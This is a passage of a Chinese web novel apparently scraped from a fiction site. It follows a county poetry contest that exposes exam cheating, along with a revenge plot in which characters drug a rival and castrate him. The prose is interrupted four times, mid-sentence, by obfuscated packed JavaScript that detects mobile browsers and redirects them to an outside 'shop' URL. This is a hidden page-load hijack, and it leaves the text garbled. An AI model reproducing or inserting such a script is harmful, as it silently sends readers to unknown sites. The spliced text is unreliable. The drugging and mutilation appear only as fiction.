那两人走另一条小径了,渐渐听不见声音,许成州问道:“大哥,一千两有多少,能不能把咱们家的食馆买下来?” “不止能买下食馆,还能把你买下来,还有余钱。” “这么多?”许成州震惊,旋即十分惋惜,“哎呀,可惜我们都没有功名,不能参加比赛。” 此次诗会规定,所有人皆可围观,但只有秀才功名及以上者,才有资格报名参赛。 “你年龄小,好好学,争取早日考出功名,参加下一次的比赛。”许成林笑道。 听见把重望寄托在他身上,许成州顿时苦脸:“大哥你年纪也不老,还是让你去考吧,我不是那个料,别说头名了,我恐怕连童生都考不上。” 他知道念书的重要性,夫子讲的课都认真听了,作业也都认真做,可譬如写诗,不会就是不会。 “不要妄自菲薄。”许见秋安慰道,“你今年才进书院,兴许多学两年就开窍了。” “但愿吧。” 扶风山景色不错,三人边走边赏景,赶在诗会正式开始之前抵达了轩然亭。 此刻亭子里只有两人,周围有官兵站岗,寻常百姓不被允许过去。 许见秋远远望过去,看见了在县衙见过的师爷,师爷旁边是名年轻的锦衣男子,看师爷明显做低伏小的架势,那男子应当就是新任县太爷。 “秋哥儿。”许见秋忽然听见有人喊他。 循声看去,发现是月哥儿。 “月哥儿。”许见秋有些惊喜。 月哥儿几步跑到他们面前,彼此打过招呼后,说道:“诗会马上就要开始了,这里视野不好,我家公子占了一处好位置,想请几位过去。” 许见秋对徐景然印象很好,也想离近些看诗会,闻言便道:“大哥,我们过去吧。” “行。”许成林想着有自己在,不怕有危险,而且月哥儿看着也不像坏人。 月哥儿领着他们穿过长长的木楼梯,绕了一圈后,竟是来到了诗会的中心场地。 石栏围绕中,徐景然穿了一身素色锦袍,坐在小亭子里喝茶,不远处还有官兵把守。 看见这一幕,许见秋意识到徐景然身份不同寻常,但心里并没有多少惊讶。 无论官家子弟亦或富商哥儿,对他来说都是一样的,都是比他家境好非常多的朋友。 看见他们,徐景然起身笑迎道:“秋哥儿,我就猜到你会来,所以专门让月哥儿去等着,果然等到你了。” “我们兄弟三人来看看热闹。”许见秋也笑了笑,大大方方地回应。 徐景然道:“我也是来看热闹的,初来乍到没什么朋友,我哥又要忙差事,一个人看着没意思,才把你们请了过来。” 月哥儿倒茶,徐景然让他们随便坐,许成林毕竟是成年男子,挑了个远些的位置坐下了。 许见秋被徐景然拉着坐在一起,他试探问道:“然哥儿,你兄长可是新任县令大人?” 徐景然点头:“就是他。” 又说:“我是真拿你当朋友才跟你说实话,你千万别因为这一点就对我生疏。” 闻言,许见秋浅笑道:“不会的,有你这样的朋友,我巴结都来不及。” “也别巴结我,就当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405054|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是个普通人。”徐景然不知从哪儿拿出一颗青橘子,放在桌上,“闲着无聊,我们来猜猜谁能夺冠吧,输的人把这颗酸橘子吃了,若都没猜对,那就一人一半,如何?” “好啊。”吃橘子有什么难的,许见秋答应下来,“你先猜。” “方友才方举人。”徐景然报出人名。 木城县现有八名举人,其中两人太老,三人在书院当先生,是评委,参赛的只有三名,方友才最为年轻。 许见秋对才子们的了解都来自于食客八卦,还有胡天楠的说道,自己了解并不深。 想到来时路人说的赌坊中以杨案首和方举人为注,他道:“我压杨斌杨案首,他是少年天才。” “十七岁便能考取案首,和我哥当年一样,若非虚名,确实值得下注。” 虚名?许见秋有些奇怪,案首就是案首,朝廷张贴的红榜,又怎会是虚名? “我的意思是,红榜只是综合成绩,不代表他写诗作对也能拿第一。”徐景然端起茶杯,“具体如何,等会儿就能知道了。” 许见秋总觉得对方话里有话,他一时想不通,也没有追问。 就像徐景然说的,等会儿就知道了。 * 山道,胡家马车内。 “大哥,我有些……”胡天楠躬身捂住肚子,做出为难尴尬神色。 胡天鹤下意识捏住鼻子,挥手:“赶紧滚下去。” “好。”胡天楠掀开布帘,往外看了一眼,又回头说,“大哥,此处距离石亭不远,你们不用等我,我方便后,自个走过去。” 胡天鹤与胡天楠并非一母所生,向来不合,早就不想跟他坐同一辆马车:“行,我们先走了。” 看着马车走远,胡天楠才直起上身,拨开一丛红叶草,往里直走。 步行数十步,又看见一丛红叶草,他停下:“我来了,你在哪儿?” “在这儿。”草丛里长出一个中年汉子来,小跑到胡天楠面前。 这中年汉子名唤药三,木城人,家里世代制药,到他这一代,因他赌博,家财被败了个干净,老婆跑了,父母气死,现如今欠着一屁股高利贷,靠做黑药赚钱。 “胡公子,这是你要的药,我熬了足足三天三夜才做出来,保证溶进水里无色无味,再贞烈的姑娘哥儿喝了它,都能化作一滩春水。”药三殷勤说着,手指比了个要钱的动作。 胡天楠从荷包里拿出十两银锭递给他,接过药粉包:“若是好用,下回我还找你,若是不好用,你知道我的厉害。” 药三咬了口银子,确保是真的后,谄媚道:“您放心,我家的铺子虽然没了,可我药三的手艺还在,一点春……啊不,这天仙倒是我的家独门秘方,就算闭着眼睛也不可能做错。” 说罢,药三又行了个礼,走小路离开。 胡天楠打开药包,只见里面是一些说不上颜色的粉末,他不通药理看不出究竟,又重新包好,揣进袖口。 他目光扫过四周,见没有人,打算小解后再去石亭,然而掀起衣裳,裤带还没解开,后脖颈便骤然一痛,失去了意识。 18. 诗会 扶风山破木屋中。 “喂进去了。”赵春儿擦了擦手,有些怀疑,“你这药能行吗,从哪儿弄到的。” 祁胜道:“也是从药三手里买的,喊你过来就是怕药没用。” “我……我一个哥儿,力气小,能帮什么忙。”赵春儿下意识觉得没好事。 这汉子明明长相很俊,人也干净,可他每每看着就觉得害怕,对方的眼神,就像想杀了他一样。 若不是最近吐得越来越厉害,越来越像有了身孕,他是绝不会冒险跟祁胜一起上山的。 “先堵住嘴,然后把他衣裳脱了,用刀把身下两侧的软球割下来,若是他中途醒了,我会按住他。” 听着祁胜轻描淡写的语气,赵春儿悚然一惊:“我……” “你是哥儿力气小,若是我来动手,你按不住他。”祁胜有理有据。 “我不敢,而且他认出我怎么办?” “简单,把眼睛也蒙住不就行了,只要你不出声,他不会知道是你。” “可他死了怎么办?” “不会死,我查过医书,也问过郎中,及时止血便是。” 见赵春儿还要找借口,祁胜皱眉:“你若真不敢动手就滚,我现在就把他放了,以后你肚子大起来被人浸猪笼可别怪我。” 赵春儿本来对胡天楠就只有五分情,被骗身之后,五分变成了零分。现下听祁胜这话,心肠立刻硬了起来。 他已走投无路了,胡天楠背弃他,这是对方应得的。 蒙眼堵嘴,初秋穿的衣裳少,很快就扒光了。 祁胜余光扫了一眼,将匕首和一大块麻布递给赵春儿:“麻布挡着,别让自己衣裳染了血迹,下刀尽量快,就当在切猪肉。” 赵春儿点了点头,将麻布披在身前,脑后打结这样便固定住了。 随后,他手有些颤抖地握住匕首,深呼吸数次,咬牙闭眼扎了下去。 第一刀落下,最大的心理障碍克服,后面的就没那么难了。 刀刃锋利,几下便完工。 “好了……”赵春儿嗓子不知何时哑了。 “给他止血,我教过你。”祁胜没回头,场面肯定脏污,他不想看。 赵春儿抖着手止血包扎,而后再也忍耐不了,趴在地上呕吐起来,边吐边哭,十分狼狈。 祁胜这才重新看过去,拽掉赵春儿身上的麻布,胡乱在胡天楠身上擦了擦,随后换位置套上衣裳。 整个过程胡天楠都没有任何苏醒的迹象,以至于祁胜伸手探了探鼻息。 还好,人活着,就是不知道什么时候醒,赌徒给的迷药果然没保障。 地上有一滩血迹,祁胜用小铲子将地皮铲起来,用麻布装上,带到不远处,挖坑埋了——麻布烧了。 随后他再回到破木屋,确认自己没什么东西留下后,把胡天楠身上的“天仙倒”搜了出来。 赵春儿背对着他,还在继续呕吐,虽然已经呕不出什么了。 祁胜打开天仙倒,掰开胡天楠的嘴,倒了约摸三分之一进去。 将剩下的包起来装好,随后,他迈步往外:“可以走了。” 见他走得快,怕被丢下,赵春儿忙爬起来,顾不得收拾呕吐物,用帕子胡乱擦了下嘴,慌里慌张地跟着。 * 胡天楠梦见置身于刀山火海之中,既燥热难忍又疼痛难当,他无论如何都动不了,只能待在原地受刑。 绝望之际,他拼尽全力睁开眼,映入眼帘的是老旧木梁和破了个洞的茅草屋顶。 这是哪儿? 为何他□□那般疼痛,为何他会疯狂渴望姑娘哥儿? 实在异常,胡天楠掀开衣摆,解开裤子…… — 诗会正式开始。 先有县太爷和赞助的乡绅讲了一通场面话,而后师爷上台,点名。 “胡天楠,柳林镇胡天楠在不在?”点名缺一人,师爷高声复诵。 根本看不见胡天楠的人影,没人知道去向,胡天鹤不得已走出去解释:“大人,学生胡天鹤,是胡天楠的兄弟,他半路肚子疼说是自己走过来,可能在路上耽搁了,学生已派家丁前去寻找。” “既如此,那就当他弃权。”县令发话。 师爷颔首表示明白,接着讲述规则和玩法。 诗会是围绕诗词展开,总共分为三轮,层层筛选,最终评出前十名,均有丰厚奖品。 他只宣布了第一轮具体内容:飞花令。即师爷说出一个字,参赛者需背诵一句含有这个字的诗词,不能重复,模式为举手抢答,一句记一分。 三轮分数相加最高者,夺冠。 比赛正式开始,许见秋坐在凉亭中,山风吹着,视野极佳,能清楚听见每一个字,还能喝茶吃点心水果,与好友聊天,好不自在。 场上则竞争激烈,一开始大家争相举手,后来举手的人就少了,再后来,只有一两个人举手。 许见秋所下注的杨斌表现极其优异,最终得分最高,引得一阵欢呼。知道他未娶妻,还有胆大的姑娘哥儿朝他丢鲜花和香囊。 见杨案首被砸得没脾气,许见秋忍不住低笑出声。 徐景然也忍不住笑,道:“看来这案首还有几分说法。” 师爷继续念分,竟有三十多人是零分,这又令许见秋感到诧异。 不过转念一想,此次参赛者足有百人,古诗词有限,想不出那么多,或者自己的答案被人抢先报出来,也是正常的。 第二轮不如头一轮那么有趣,官兵给每位参赛者发了笔墨纸砚,配备小桌子,县令命他们以扶风山为题,各自写出一篇赋,字数不限,时间限制在一个时辰内。 一群文人写赋,百姓看不见纸上文字,为了缓解无聊,县令专门请了舞乐班子,奏乐跳舞。 ——演奏的自然都是些舒缓曲子。 老百姓看戏机会都不多,更别说看人跳舞,因此几乎没人离开。 许见秋也很爱看,但待的时间太久了,他有些内急。 低声跟徐景然说了后,对方道:“正好我也想去,一起吧。” 许成州忙站起来:“我也要去。” “你们汉子去那边。”徐景然指了反方向。 知道诗会将要来许多老百姓,为了方便,临时修建了几处茅厕,距离并不远。 两人分别进去,徐景然在外面等着时,闲得无聊,踮脚去摘树上的叶子。。 就在他摘到叶子的一瞬间,余光瞥见了一道人影。 ——个子很高的年轻男子,穿着很普通的粗布衣裳,似乎在看他们,但在接触到他们目光的一瞬间,立即转身钻进树林里,身影消失不见。 偷窥? 徐景然蹙眉。 他不是没遇到过尾随的不轨之徒,但这人给他的感觉不同,不像是那种人,而且……有点眼熟。 在兄长上任前,他从未来过木城县,怎么会有眼熟的人? 难道只是乍看相像?像谁呢? “然哥儿,我好了。”许见秋出来,打断了他的思绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405055|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐景然走进茅厕,快速解决后,没再想这件事。 若真是认识的人想找他,应当会再次出现,到那时他就知道了。 若是歹人,他身边有月哥儿,身后有县令兄长,也没什么可惧怕的。 * 十二岁的卢花今日随爹娘一同来看热闹,由于他们来得晚,站在了后面。 她个头矮,站后面看不见,于是就爬到了树上。 坐在粗壮的树枝上,见舞伎身姿曼妙,舞蹈优美,她心里正感叹幸好来了,却听见背后好像有异响。 她转头,向后一看,竟看见一名穿着破烂文士袍、敞着胸的男子跌跌撞撞往这边跑,神色痛苦癫狂。 “爹,娘,后面那个人好奇怪。”看出不对,卢花脑筋一转,故意大喊,然后跳下树。 她的声音果然引起人们回头,看见了那名破衣汉子。 “这是个疯子吧。” “哪有疯子穿文士袍的,人家是秀才老爷。” “好像是胡家二少爷……” 听见“胡家二少爷”五个字,胡家的家丁赶忙跑过来:“少爷?真是二少爷!” 阿甲快速跑到二少爷面前,伸手要扶,却被胡天楠给抱住,顶了顶。 阿甲呆立当场,不敢相信自己感觉到了什么。 “愣着干什么呢,还不快扶二少爷进马车。”后赶过来的阿乙呵斥。 “他……二少爷他……”周围不知什么时候围上来了一群看热闹的,阿甲说不出口。 阿乙伸手去扶,胡天楠却抱着阿甲不松手,动作幅度越来越大,越来越明显,甚至还啃了一口阿甲的脖子,呼吸粗重。 卢花正懵懂,眼睛忽然被母亲捂住:“别看,肮东西。” 阿甲脸上火辣辣的,急中生智:“我们二少爷他中毒了,有没有郎中,郎中有没有!” 看热闹的人多,里面还真有郎中,很快出来了一名背着医箱的老者。 还来了一名捕快,询问情况。 阿乙解释了情况,和阿甲一起把胡天楠扯开,勉强背着,送进了马车。 老郎中进马车诊治,险些也被啃一口。 出了马车后,他没好气说:“你们少爷不知吃了什么东西,中毒发春,没有解药,把他绑到树上,等他自个熬过去吧。” “绑树上?”阿甲不敢。 老郎中道:“他虽年轻,可气血不足,毒性又猛烈,若是由他自己折腾,怕是半条命都要被折腾去。” “好、好。” 诊金要十文,不贵,阿甲做主就给了,但绑树上他不敢,跑到前面想去问胡天鹤。 胡天鹤还在写赋,他听见了身后百姓议论,虽没听明白,但知道胡天楠出事了,心里不由得暗骂对方晦气。 看见家丁使眼色,他起身却又被按下去。 “不可交头接耳,不可大小解。”师爷在他旁边转悠着,朗声道,“若有写完的,可提前交卷,写不完想走,无论何种原因,均视为弃权!” 胡天鹤还没有写完,他想了想,提笔继续写,没理会家丁。 他旁边的人倒是把手举了起来:“我肚子疼,实在受不了了,弃权。” “可想好了?” 旁边人捂着肚子艰难点头:“想好了。” 师爷便去把纸张都收了,放人离开。 许见秋在凉亭中看着这一切,知道和祁胜脱不开干系,心中不由得担心。 祁胜是哪里弄来的药,万一被发现了怎么办? 19. 明查 “秋哥儿?”徐景然轻声唤他。 许见秋回神:“啊?” 徐景然道:“我见你神思不属,可是想去看胡家的热闹?” 不能说出心里担忧,许见秋只好点头:“是有些好奇。” “那我们就去看看。”徐景然也好奇。 其他人也说想看,一行人便朝着胡家马车走去。 马车驴车等都停在一处,畜生不像人似的好管理,拉屎拉尿管不住,因此周遭环境并不好。 胡天楠被绑在一棵半尺粗的树上,布条塞住了嘴,他只有脑袋能动,不住拿头撞树,急得家丁在他脑袋后面缠了两件软衣裳。 几人不远不近地看着,笑了一遭,才又回到凉亭中。 “不知道谁给他下的药,那个人干的太漂亮了。”许成州年龄小,心直口快道,“像胡天楠那样的恶人,就活该被折磨。” 徐景然道:“你为何说他是恶人?” “这个……要问我二哥。”许成州反应过来说错话,忐忑地看向许见秋。 许见秋释然笑道:“没什么不能说的,镇上都传遍了。我和胡天楠定过亲,后来他考中秀才,我落水被现在的相公所救,他家觉得我失了贞洁,闹到县衙,退亲,仅此而已。” 徐景然看过卷宗,也听旁人说起过,知道这件事对许见秋的影响并不小。 “你现在的相公如何,可还合得来?”徐景然斟酌着询问。 想起祁胜,许见秋眸色更亮了些,点头:“合得来,他就是穷了些,没有其它的毛病。” 见他神情是真的喜欢,徐景然打趣道:“看来你对他很满意,这鸳鸯谱倒是阴差阳错点对了。” 许见秋抿嘴浅笑。 徐景然又道:“不过,结局好不代表过程对,你们那宗案子若是想重判,可再去县衙击鼓鸣冤,我哥一定会秉公办理。” “好,回去后我与相公商量商量,看看要不要申请重判。”许见秋想着,若是能找到胡天楠害他的证据,哪怕只是一丢丢的,也要去击鼓鸣冤,若是没有,就不去麻烦县衙了。 * 第二轮时间到,师爷亲自挨个收了纸张,然后送到县令面前。 舞伎乐人皆已下去休息,按照正常程序,这会儿应当让文士们自由活动,两刻钟后再进行下一轮。 然而,师爷却高声宣布道:“所有参赛者待在原位不可走动,等待徐大人和诸位夫子批阅。” 此话一出,举人秀才面面相觑,神色各异。 有人发表不满:“文章都写完了,交上去又不能更改,还要我们待在这里干嘛,怕我们跑了不成?” 胡天鹤心里也是这般想的,但怕得罪县令,没敢吱声。 师爷道:“说对了,正是怕你们跑了,若是心中无鬼,再待上一时半刻又如何?” 老百姓本都要散开了,听见这话,又竖起耳朵。 许见秋悄声问徐景然:“到底是什么事?” “我哥此次赴任前得到密旨,暗查科举舞弊一事,叫他们背诗写赋,就是为了查出哪些人名不符实。” 许见秋:“……可这么大动静,不算暗查吧。” “不论明查暗访,只要能查出来就行。” 其实,徐明早在赴任前,就拿到了舞弊名单,但那名单不是用正常途径得到的,其中涉及党争内斗,徐景然没法跟许见秋说。 此次诗会,只是找个由头揭开内幕,也顺便树立一番威信,叫徐明在百姓中博个好名声,日后好校考升迁。 场上,徐明和三名举人很快筛选出来了一批,挨个点名。 其中心理素质不强的,被审问一番便跪地求饶供出一切,也有嘴硬的说是自己发挥失常,无论如何不认。 不论是哪一种,徐明都命人将其押下去,日后再审,并当场宣布,若是查明作弊属实,会上奏朝廷恳请开恩科,增加一次考秀才的机会。 他模样周正,陈词慷慨激昂,颇具正气,加之前任县令昏聩在前,百姓听完便欢呼一片,尤其是一些寒窗苦读多年名落孙山的,更是激动。 许见秋也被感染,心里由衷欢欣。 两刻钟后,第三轮开始。 第三轮是对诗和写诗,虽然经历大变,但气氛还是渐渐稳定了下来,也颇有趣味。 最终夺得魁首的是杨斌,方举人是第三名。 愿赌服输,徐景然吃掉了一整个酸橘子,配了好几杯茶才缓过劲儿。 此时晌午已过,大家都还没吃饭,百姓陆陆续续下山,许见秋三人也起身告辞。 下山比上山轻快,几乎不费力就到山脚下了,然后坐车回食馆。 回到家,许成州喊着饿,直奔厨房。 许见秋也进了厨房,左右看了看,没有看见祁胜,心里不由得失落,也更加担心。 不过他都没有表现出来,怕被追问。 这种事,越少人知道越好。 * 胡家还没有下山,因为胡天楠的药劲儿还没过,还在树上绑着。 胡天鹤坐在一旁吃肉饼子,心头烦闷:“一个人好好的,怎么会中毒?” “这……小的们也不知道。”阿乙回道,“可能是二少爷遭遇了歹人吧。” “山上这么多姑娘哥儿都没事,我看是他自己行事不端,才会遇见这种事。”胡天鹤没好气道。 他生这么大气,不止是因为胡天楠中毒丢脸,还因为胡天楠是今年的廪生。 他观察了被抓的那些人,其中有两名和胡天楠交情不错,也是这一两年的秀才,他怕胡天楠的功名也是造假。 “少爷,二少爷昏过去了。”阿甲突然大喊。 胡天鹤气极:“他一直拿脑袋撞树,能不昏吗,别一惊一乍的。” “是,少爷。” 胡天鹤快速吃完烙饼,用帕子擦了擦手:“把他松绑放进马车,下山。” “少爷……还是绑起来再放进马车吧,不然中途醒了不好办。”阿甲斗胆建议。 胡天鹤想了想:“按你说的办。” 又道:“今日之事,你受了委屈,若你是名哥儿,我便叫他娶你,可你是个汉子。这样吧,给你多加一年的工钱。” 作为汉子,阿甲本以为自己不会得到补偿,闻言眼睛都亮了,千恩万谢:“多谢少爷!” 一行人顺利下山,回到胡家,胡老爷得知出了这档子事,又担忧又生气。 “一定是有人算计你弟弟,查出是谁,我绝不会饶了他。” “爹,天楠是被谁所伤,待他清醒了自会知晓,现在有一件更要紧的事。” 他把胡老爷叫到一边,说了科举舞弊一事。 “楠儿向来读书用功,才华好,他的功名应当是真的。”胡老爷这般说着,语气并不自信。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405056|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他对嫡子都不够了解,更何况庶子,所谓读书用功才华好,也都是夫子和胡姨娘告诉他的。 胡天鹤也不够了解,心里惴惴不安:“爹,等他醒了,你问他吧。我今日有些乏了,先行告退。” 出了小院,他却并没有回自己房间,而是去了胡夫人的小院,恰好他妻子也在母亲屋里,便把事情跟两人又说了一遍。 “鹤儿别怕。”胡夫人道,“县太爷查案需要时间,咱们趁着这段时间,分家。” “父亲恐怕不会同意。” “这你就错了,若是知道儿子可能会拖累他,他定会毫不犹豫将其赶出家门。”胡夫人与胡老爷夫妻三十年,最是了解。 这会儿将人赶走未免落口舌,但总比一辈子受拖累要好。 * 傍晚时分,祁胜拎着两只活兔回到许家。 “今儿下工这么早?”赵雪梅正好在后院洗菜,见状问道。 祁胜回道:“娘,我今日没去酒楼,去山上帮人打猎了,这两只兔子是酬劳,食馆应该能用上。” “用得上,你去柴房找个笼子关起来,喂点草,明儿给你们煸兔肉吃。”赵雪梅也没多想。 祁胜依言去找笼子,许见秋在厨房里听见声音,透过窗户看了一眼,因为很忙,看见人之后并未打招呼,不过心情却放松多了。 人安全回来就好。 傍晚的忙碌过后,铺子关门,点着油灯,一家子坐在一块儿喝茶说话,聊的自然是胡家的事。 “刚才听食馆的人说,胡家请了好几个郎中,看来中的毒不轻。”说起这事儿,赵雪梅心里畅快不少。 她原先想秋哥儿嫁进胡家,往后不必辛劳,为此憋屈两年,赔进去不少东西不说,还受了胡老爷不少气。而后蔡县令乱断案,胡天楠是廪生有名气,闲言碎语直往他们许家扑。 现如今胡天楠中毒丢脸,也算是现世报了。 许见秋和祁胜对视一眼,附和道:“想必是中了杂毒,才这么难治。” “这就是不积德的下场,出了这档子丑事,以后哪家姑娘哥儿能看上他。” 骂了一通胡家,心中痛快了,赵雪梅又想起大儿子还没成亲。 “成林,你也快二十了,可有中意的姑娘?” 大儿子没成亲不为别的,只因为算命的说他适合晚婚,若是成亲早了,会导致婚姻破败。 许父许母不是迷信算命先生的人,可这种事就怕万一,所以直到如今才开始操心婚事。 先定亲,二十岁过了再成亲,放在当下,已是晚婚了。 “没有。”许成林顿了顿,“婚事全凭爹娘做主。” “行,那我和你爹先留心着,若有好的再跟你商量。” 说完,见外面天黑了,便让各自洗漱回房休息。 许见秋在自己屋洗完澡,去倒了水,再回到屋里,还没关门就被人抱紧了。 “你吓我一跳。”闻到熟悉的味道,许见秋反应过来。 祁胜伸长手臂关门,低声笑道:“我天天都来,还以为你已经习惯了。” “我若从背后吓你,看你习不习惯。” “是我错了,下次再也不吓你了。”祁胜笑着道歉。 知道对方是闹着玩,许见秋却没心思打趣。 他摸黑走到床前坐下,问道:“你今日真去打猎了,没有去扶风山?” 20. 赵家 “真去打猎了,不过扶风山我也去了。”祁胜和盘托出,“毒药是我亲自喂给胡天楠的,不止如此,我还让赵春儿给他做了个小手术。” “胡家接连请了好几位郎中,不是因为毒,而是因为胡天楠残缺了。” 一下子接受这么多信息,许见秋在脑中梳理了一会儿,才说:“春哥儿知道这件事,若是他说出去怎么办。” 他同赵春儿十几年的情谊,赵春儿都背叛了他,更不用说祁胜了。 “他说出去自己也逃不了干系,再说了,他怀有身孕,握在咱们手上的把柄更多。”祁胜早就想好了。 许见秋还是担心:“若是胡家告官怎么办,你今日没去酒楼,我又同你是夫夫,很容易查到你身上。” “抓人得讲究证据,不能凭空猜测,我上山下山走的都是小路,没被人看见。”祁胜握住夫郎的手,“秋秋,你相信我,我不会有事的。” 许见秋相信祁胜,可这种事,并不是说相信就能万无一失的。 他心里还在担忧,却骤然被男人扑倒:“这件事已经过去,以后胡家怎么样都和我们无关,不许再想了。” 他的耳垂被亲了一下,有点痒。继而是脸颊、嘴唇。 祁胜还很大胆地摸他的腰,腰部敏感,一碰就痒,不得不躲避,让他无暇再去思考其它事。 * 许家一派祥和,赵家却不得安宁。 原因是家里的银子失窃了。 “五两银子我就放在箱子里,你当时也看见了,后来再也没动过,怎么可能不见呢。”赵父急得上头。 赵母更是火大,整整五两银子啊,她一整年的工钱才二两。 “咱们家整天都有人,怎么会被偷,是不是你们谁偷拿了。”她看向一群孩子。 赵春儿眼神闪烁了两下,正好被捕捉到。 “春儿,是不是你拿的。”赵父质问。 赵春儿下意识否认:“不是,我没有偷钱。” 可他的手在抖,眼睛不敢看人,心虚太过明显。 ——钱的确是他偷的,祁胜要十两,他拿不出来,又怕怀孕暴露,无奈之下偷拿了家里五两。 “啪”一声清脆的巴掌响,是赵母打的:“你怎么敢偷钱,那是给你哥娶媳妇用的!” “我知道,要不是急用,我不会拿家里的钱。”赵春儿捂着脸,委屈道,“过几天我还给你们不就行了。” 闻言,赵母眉头皱得更紧了:“你有什么急事要用五两银子,你干什么了?沾上赌了?” “没有赌,我……”赵春儿咬了咬牙,“我请人给我说亲了。” “什么?!” 这年头,婚嫁方面,哥儿虽比不得姑娘受欢迎,可赵春儿四肢健全模样中上,怎么也不至于愁嫁。 见一家人皆是震惊地看着他,赵春儿道:“那家条件比较好,我若是能嫁过去,就能当少夫郎,再也不用干活,还能补贴家里,日后拿回来的绝不止五两。” “我看你是遭人骗了。”赵母扬手还想打人,想到这是亲儿子,又放下手,恨恨道,“真有那好事,他不紧着自己儿子女子,告诉你干嘛。” 赵父也道:“你定是被人骗了,告诉爹是哪个敢骗你钱,我去找他要回来。” “钱要不回来了,不过我没有被人骗,过几天你们就知道了。”赵春儿低声说。 “你真是鬼迷心窍了。”赵父怒不可遏,“五两银子必须要回来,现在就去要,要不回来你也别回来了。” 听见父母皆这样吼自己,赵春儿眼泪顿时落下,心里酸楚不已:“不就才五两银子,我哥娶媳妇重要,难道我嫁人就不重要吗,就因为我是哥儿,所以银子只能给他花,不能给我花是吗。” 他只念过蒙学,同岁的秋哥儿却能多去书院学一年,小时候爹娘跟他说是家里穷,不如秋哥儿家富裕。 他信了,可是大哥去过书院,后来有了弟弟,弟弟也去书院,独独他不能去。 “就因为我是哥儿,你们觉得我是赔钱货,家里什么活儿都让我做,给我的零用钱却是最少的。”眼泪模糊了视线,情绪完全止不住,“秋哥儿在他们家干活,他爹娘给工钱,你们给过我工钱吗,就只知道让我白干活……” 话还没有说完,他就又挨了一巴掌,这次是赵父打的,出手更重,打得他耳朵嗡鸣,耳骨阵痛。 “养你这么大,一点不知道感恩,反而怪我们给的不够多,你吃的穿的哪样不是我们给的银子。”赵父道,“你要是个汉子,娶媳妇我们照样给钱,可你是个哥儿,拿这五两银子打水漂,这怎么能行。” “说到底还不是因为我是哥儿。” “可你就是哥儿。”赵母也动气了,“你想嫁人,我自会为你挑个好人家,你自己找上门,岂不是会被人耻笑。” 赵春儿道:“耻笑算什么,我只要自己过得好就行了。” “说来说去,你到底想嫁给谁。”赵老大终于找到出声的机会。 事到如今,瞒也瞒不住了,赵春儿索性说了实话:“就是秋哥儿之前的未婚夫,胡家二少爷。” 赵母更断定他是被人骗了,追问:“谁允诺说能让你嫁过去的。” “……”赵春儿动了动嘴唇,“药三。” 药三是个赌徒,孤家寡人,还会制毒,什么狠事儿都干得出来,他断定爹娘不敢去招惹。 果然,听见“药三”这两个字,赵父赵母眼底皆闪过一抹痛心。 不过,惹不起药三,还打不了儿子吗? 眼见着要挨一顿狠揍,赵春儿下意识捂住肚子,慌乱道:“你们不能打我!我已经有胡天楠的孩子了。” 一石激起千层浪,赵父赵母脸色五彩纷呈,赵家几个小辈脸色也不好看。 哥儿未婚先孕,除开被奸污这种情况,一经举报,是要被沉塘的。 ——当然,这种事必须由哥儿父母或者订婚对象举报,其他人举报不做数。 赵春儿没有婚约在身,赵父赵母虽不那么看重哥儿,可到底是自己亲儿子,又养到这么大了,怎可能去举报。 就是拿捏住了这一点,赵春儿才敢说出来。 “怀上孽种,更该打了。”赵父语气愤恨,却没有动手。 真把儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405057|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打死了,于他有什么益处? 赵母红了眼眶:“春儿,你怎么会……究竟是怎么回事?” “胡天楠哄骗了我的身子,但是不愿意负责,所以我才找药三的。”赵春儿哭得越来越可怜。 “可药三那种人……”赵老大忍不住说,“你把钱给他,还不如把钱给我。” 赵春儿吸了吸鼻子:“药三没有白收钱,今日胡天楠出丑就是他害的,找不到门当户对的姑娘哥儿,我又怀有身孕,说不准他就愿意娶我了。” 说着,他扑通一声跪下,哽咽道:“爹,娘,我实在是没办法了才这样的,若你们也不肯帮我,我就只有去跳河了。” “刚才还说爹娘对你不好,现在又要爹娘帮你,脸皮真厚。”赵老大嗤道。 赵春儿不理会他,只看着爹娘。 